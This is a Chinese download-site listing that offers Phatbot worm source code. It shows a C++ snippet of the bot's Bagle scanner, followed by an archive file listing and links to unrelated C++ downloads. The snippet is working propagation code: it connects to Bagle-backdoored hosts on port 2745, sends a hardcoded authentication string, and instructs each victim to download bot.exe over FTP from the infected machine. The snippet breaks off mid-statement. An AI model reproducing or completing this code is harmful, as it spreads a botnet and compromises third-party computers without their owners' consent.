资源简介
病毒Phatbot源代码,使用C++ STL编写
代码片段和文件信息
/*$T baglescanner.cpp GC 1.138 03/15/04 03:20:05 */
/*$6
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
*/
#include “main.h“
#include “mainctrl.h“
#include “utility.h“
class CScannerBagle :
public CScannerbase
{
/*
-----------------------------------------------------------------------------------------------------------------------
-----------------------------------------------------------------------------------------------------------------------
*/
public:
CScannerBagle(void);
virtual ~CScannerBagle()
throw()
{
}
bool Exploit(void);
};
#define BAGLE_DEFAULT_PORT 2745
/*
* Bagle.C : 3E7506B1 Bagle.E : 3E7506B1 Bagle.F : 9C0209C4 Bagle.G : 9C0209C4
* Bagle.H : 9C0209C4 Bagle.J : 9C0209C4 Bagle.K : 9C0209C4 ?
*/
/*
* OLD if someone thinks we should still send for the old version(that has timed out)
* do it I‘m too lazy and I doubt there is much point [thegeek]
*/
//char bagle_auth1[] = “\x43\xFF\xFF\xFF\x30\x30\x30\x01\x0A\x1F\x2B\x28\x2B\xA1\x32\x01“;
char bagle_auth2[] = “\x43\xFF\xFF\xFF\x30\x30\x30\x01\x0A\x28\x91\xA1\x2B\xE6\x60\x2F\x32\x8F\x60\x15\x1A\x20\x1A“;
char spreadurl[] = “URL“;
/*
=======================================================================================================================
=======================================================================================================================
*/
CScannerBagle::CScannerBagle(void)
{
m_szType = “CScannerBagle“;
m_sScannerName.Assign(“Bagle“);
}
/*
=======================================================================================================================
=======================================================================================================================
*/
bool CScannerBagle::Exploit(void)
{
/*~~~~~~~~~~~~~~~~~~~*/
char szRecvBuf[128];
/*~~~~~~~~~~~~~~~~~~~*/
if(!m_sSocket.Connect(m_sSocket.m_szHost BAGLE_DEFAULT_PORT)) /* Connect failed exit */
{
return false;
}
if(g_pMainCtrl->m_cBot.scaninfo_level.iValue >= 2)
{
SendLocal(“%s: Scanning %s“ m_sScannerName.CStr() m_sSocket.m_szHost);
}
if(!m_sSocket.Write(bagle_auth2 sizeof(bagle_auth2)))
{
m_sSocket.Disconnect();
return false;
}
if(!m_sSocket.RecvTO(szRecvBuf 8 5000))
{
m_sSocket.Disconnect();
return false;
}
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
int iPort = g_pMainCtrl->m_cBot.bot_ftrans_port_ftp.iValue;
CString sSpreadURL;
/*~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~*/
sSpreadURL.Format(“ftp://bla:bla@%s:%d/bot.exe“ g_pMainCtrl->m_cIRC.m_sLocalIp.CStr() iPort);
/* Send the url to download file from use built in ftp. */
if(!m_sSocket.Write(sSpreadURL.CStr(
属性 大小 日期 时间 名称
----------- --------- ---------- ----- ----
文件 0 2004-03-21 17:22 Phatbot-stoney\.svn\empty-file
文件 36018 2004-03-22 21:01 Phatbot-stoney\.svn\entries
文件 2 2004-03-21 17:22 Phatbot-stoney\.svn\format
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 30 2004-03-22 16:39 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 53 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-22 16:39 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney\.svn\prop-ba
文件 30 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-22 21:01 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:22 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-22 21:01 Phatbot-stoney\.svn\prop-ba
文件 4 2004-03-21 17:23 Phatbot-stoney\.svn\prop-ba
文件 53 2004-03-22 16:39 Phatbot-stoney\.svn\prop-ba
............此处省略1418个文件信息
相关资源
- c++基于Windows编程的打飞机小游戏源代
- Cppcheck源代码
- c++课程设计-----股票交易系统源代码
- Visual C++视频技术方案宝典的光盘源代
- 计算机图形学实践教程随书源代码
- 上期CTP_API_C++可实盘多合约多策略版本
- 上期CTP_API_C++可实盘多合约多策略版本
- 孔令德 计算机图形学基础教程visual
- Essential C++中文版+完整源代码+习题答
- C++学习实用实践项目源代码
- Visual C++实践与提高-COM和COM+篇高清p
- VC6.0+ACCESS图书管理系统源代码
- 程序设计抽象思想:C语言描述-带书签
- C++虚拟数字键盘 源代码 可扩展
- 剑指offer+50道源代码
- 3D三角形网格模型补洞源代码
- The Art of Scientific Computing第二版、第三
- 浏览器截屏程序源代码C++
- 单片机C语言程序设计实训100例 案例
- C语言游戏编程从入门到精通PDF书及源
- TeeChart Pro Activex control v8 源代码
- 背单词软件源代码(使用C++和Qt库编写
- 基于opencv和MFC的多功能视频、图像处
- 编译原理LL1语法分析器C++版源代码
- C++餐厅管理系统源代码
- mqtt-client MFC工程调用开源代码
- PL/0语言编译器源代码及测试代码
- Cocos2d-x实战:C++卷2版源代码
- vc++ 编程宝典(十年典藏版) 书后光
- Visual C++网络编程郑阿奇源代码+PPT
评论
共有 条评论